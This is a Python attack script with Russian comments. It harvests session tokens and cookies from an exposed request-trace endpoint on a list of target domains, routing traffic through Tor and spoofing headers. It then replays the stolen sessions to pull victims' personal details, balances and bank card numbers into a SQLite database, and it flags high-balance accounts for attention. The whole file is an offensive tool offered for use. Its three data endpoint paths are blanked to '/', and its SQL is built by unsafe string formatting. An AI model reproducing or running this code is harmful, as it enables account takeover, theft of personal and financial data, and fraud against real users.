import requests # импортируем модуль запросов
import json # импортируем модуль json 
import time # импортируем модуль времени
import sqlite3 #
import re
import sys
from datetime import datetime
import threading
from urllib3.exceptions import InsecureRequestWarning
#для игнорирования кривых SSL сертификатов на некоторых доменах
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

#TOR proxy, если нужно включить, то раскоменть.
#Для поддержки socks требуется установить библиотеку python3 -m pip install 'requests[socks]'
proxy = {
        'http': "socks5://127.0.0.1:9050",
        'https': "socks5://127.0.0.1:9050"
        } 

def create_connection(db_file):
    conn = None
    try:
        conn = sqlite3.connect(db_file)
    except Error as e:
        print(e)
    return conn


def search_utoken (cookie):
    if re.search(r'utoken', cookie): #проверяем есть ли в куках utoken
        utoken_pars = cookie.split(';') #разбиваем куки и забираем значение utoken
        for i in utoken_pars:
            if re.search(r'utoken', i):
                utoken = (i.split('=')[1])
                return utoken

def get_utokens (domain):
    

    url_trace = 'https://'+domain+'/member//trace'
    head = {"User-Agent": "Mozilla/5.0 (Linux; U; Android 8.1.0; zh-CN; MI 8 Lite Build/OPM1.171019.019) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.108 Quark/4.2.0.138 Mobile Safari/537.36", "X-Forwarded-For": "192.168.1.1"}
    utokens = []

    with requests.Session() as session:
        get_url = session.get(url_trace, headers=head, proxies=proxy, verify=False)
        if get_url.status_code == 200: #Если статус 200 то обрабатываем JSON иначе выводим ошибку.
            #print("\n✅ Good. "+url_trace+" available.")
            response = json.loads(get_url.text) #парсим JSON
            for i in response:
                request = i['info']['headers']['request']
                if 'cookie' in request.keys(): #проверяем есть ли ключ cookie в словаре
                    cookie = request['cookie']
                    if 'user-agent' in request.keys():
                        ua = request['user-agent']
                    else:
                        ua = "Mozilla/5.0 (Linux; U; Android 8.1.0; zh-CN; MI 8 Lite Build/OPM1.171019.019) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.108 Quark/4.2.0.138 Mobile Safari/537.36"
                    if 'x-forwarded-for' in request.keys():
                        ips = request['x-forwarded-for']
                        ip = str(ips.split(',')[0])
                    else:
                        ip = '192.168.1.1'
                    utoken = search_utoken(cookie)
                    if utoken != None:
                        utokens.append(utoken+"|"+ua+"|"+cookie+"|"+ip)
        else:
            print("❌ Bad response. "+url_trace+" not available.")
    utokens = sorted(set(utokens))
    return utokens

def get_info_user (domain,utokens):
    conn = create_connection("utokens.db")
    cursor = conn.cursor()
    cursor.execute("CREATE TABLE if not exists 'users_%s' (id integer primary key autoincrement, utoken text, user_id text, name text, login text, email text, tel text, balance integer, lvl text, allwithdraw text, bankcard text, lastwithdraw text, ip text)"%(domain))
    cursor.execute("CREATE TABLE if not exists 'top_balance' (id integer primary key autoincrement, domain text, utoken text, userid text, balance integer, lvl text, useragent text, ip text)")

    if utokens: #проверяем не пустой ли словарь
        url_bank_info = 'https://'+domain+'/'
        url_user_info = 'https://'+domain+'/'
        url_balance_info = 'https://'+domain+'/'
        
        for i in utokens:
            utoken = i.split('|')[0]
            ua = i.split('|')[1]
            cookie = i.split('|')[2]
            ip = i.split('|')[3]
            #print ("=========================\nGet info for utoken: "+utoken)
            head = {"User-Agent": ua, "X-Forwarded-For": ip, "Authorization": utoken, "Cookie": cookie}
            with requests.Session() as session:
                info_bank = session.get(url_bank_info, headers=head, verify=False, proxies=proxy)
                info_user = session.get(url_user_info, headers=head, verify=False, proxies=proxy)
                info_balance = session.get(url_balance_info, headers=head, verify=False, proxies=proxy)
                if info_bank.status_code == 200 and info_user.status_code == 200 and info_balance.status_code == 200:
                    response_bank = json.loads(info_bank.text)
                    response_user = json.loads(info_user.text)
                    response_balance = json.loads(info_balance.text)
                    if response_bank['status'] == 1 and response_user['status'] == 1 and response_balance['status'] == 1:
                        for data in response_bank['data']:
                            data_bank = data
                        data_user = response_user['data']
                        userid = str(data_user['userId'])
                        login = str(data_user['userAccount'])
                        user_lvl = str(data_user['levelInfo']['levelName'])
                        data_balance = str(response_balance['data'])
                        allwithdraw = str(data_user['allwithdraw'])
                        #конвертация timestamp
                        if data_user['withdrawLastUpdateTime'] != None:
                            last_withdraw = str(data_user['withdrawLastUpdateTime'])[:-3]
                            last_withdraw = str(datetime.fromtimestamp(int(last_withdraw)))
                        else:
                            last_withdraw = "Not withdraw"
                        #парсинг почты
                        if data_user['email'] != None:
                            email = str(data_user['email'])
                        else:
                            email = "No mail"
                        #парсинг телефона
                        if data_user['telephone'] != '':
                            telephone = str(data_user['telephone'])
                        else:
                            telephone = "No tel"
                        #парсинг имени
                        if data_user['userName'] != None:
                            name = str(data_user['userName'])
                        else:
                            name = "No name"
                        #парсинг карт
                        if not response_bank['data']:
                            card_cc = 'No card'
                        else:
                            cards_bank = []
                            for bank in response_bank['data']:
                                cards_bank.append(bank['bankNo'])
                            card_cc = ', '.join(cards_bank)

                        #print ("🖥  DOMAIN: "+domain+"\n🖥  USER-AGENT: "+ua+"\n🔑 UTOKEN: "+utoken+"\n💥 USERID: "+userid+"\n💥 LOGIN: "+login+"\n💥 NAME: "+name+"\n💥 EMAIL: "+email+"\n💥 TEL: "+telephone+"\n💥 USER LVL: "+user_lvl+"\n💰 BALANCE: "+data_balance+"\n💰 BANK CARD: "+card_cc+"\n📈 ALL WITHDRAW: "+allwithdraw+"\n📈 LAST WITHDRAW: "+last_withdraw)

                        sql = "SELECT * FROM 'users_%s' WHERE user_id='%s'"%(domain, userid)
                        cursor.execute(sql)
                        if cursor.fetchone() != None:
                            #print('♻️  UserID FOUND in DB! Update data.')
                            sql = "UPDATE 'users_%s' SET utoken='%s',user_id='%s',name='%s',login='%s',email='%s',tel='%s',balance='%s',lvl='%s',allwithdraw='%s',bankcard='%s',lastwithdraw='%s',ip='%s' WHERE user_id='%s'"%(domain, utoken, userid, name, login, email, telephone, data_balance, user_lvl, allwithdraw, card_cc, last_withdraw, ip, userid)
                            cursor.execute(sql)
                            conn.commit()
                            time.sleep(2)
                        else:
                            #print('☑️  NEW UserID! Insert.')
                            sql = "INSERT INTO 'users_%s' (utoken,user_id,name,login,email,tel,balance,lvl,allwithdraw,bankcard,lastwithdraw,ip) VALUES ('%s','%s','%s','%s','%s','%s','%s','%s','%s','%s','%s','%s')"%(domain, utoken, userid, name, login, email, telephone, data_balance, user_lvl, allwithdraw, card_cc, last_withdraw, ip)
                            cursor.execute(sql)
                            conn.commit()
                            time.sleep(2)


                        if response_balance['data'] > 500:
                            sql = "SELECT * FROM 'top_balance' WHERE domain='%s' AND userid='%s'"%(domain, userid)
                            cursor.execute(sql)
                            if cursor.fetchone() != None:
                                print("💰💰💰💰💰TOP BALANCE ID FOUND💰💰💰💰💰\n🔑 UTOKEN: "+utoken+"\n💰 BALANCE: "+data_balance+"\nUPDATE TO top_balance")
                                sql = "UPDATE 'top_balance' SET domain='%s',utoken='%s',userid='%s',balance='%s',lvl='%s',useragent='%s',ip='%s' WHERE domain='%s' AND userid='%s'"%(domain, utoken, userid, data_balance, user_lvl, ua, ip, domain, userid)
                                cursor.execute(sql)
                                conn.commit()
                                time.sleep(2)
                            else:
                                print("💰💰💰💰💰TOP BALANCE💰💰💰💰💰\n🔑 UTOKEN: "+utoken+"\n💰 BALANCE: "+data_balance+"\nINSERT TO top_balance")
                                sql = "INSERT INTO 'top_balance' (domain,utoken,userid,balance,lvl,useragent,ip) VALUES ('%s','%s','%s','%s','%s','%s','%s')"%(domain, utoken, userid, data_balance, user_lvl, ua, ip)
                                cursor.execute(sql)
                                conn.commit()
                                time.sleep(2)

                    else:
                        print ('❌ No auth')
                else:
                    print("❌ Bad response.")        
    else:
        pass

#функция в которой мы описываем, что будет происходить в потоке
def start_thread (domain):
    while True:
        utokens = get_utokens(domain)
        get_info_user(domain,utokens)

#получаем имя файла в аргументе
file = sys.argv[1]

try:
    with open(file,'r') as f_in: #читаем файл
        domains = filter(None, (line.rstrip() for line in f_in)) #удаляем лишние символы из строк
        for domain in domains: #перебираем построчно
            thread_utoken = threading.Thread(target=start_thread, kwargs={'domain': domain})#формируем поток и передаем домен
            thread_utoken.start()#стартуем поток
except KeyboardInterrupt:
    print('\nBye Bye...')
    exit()
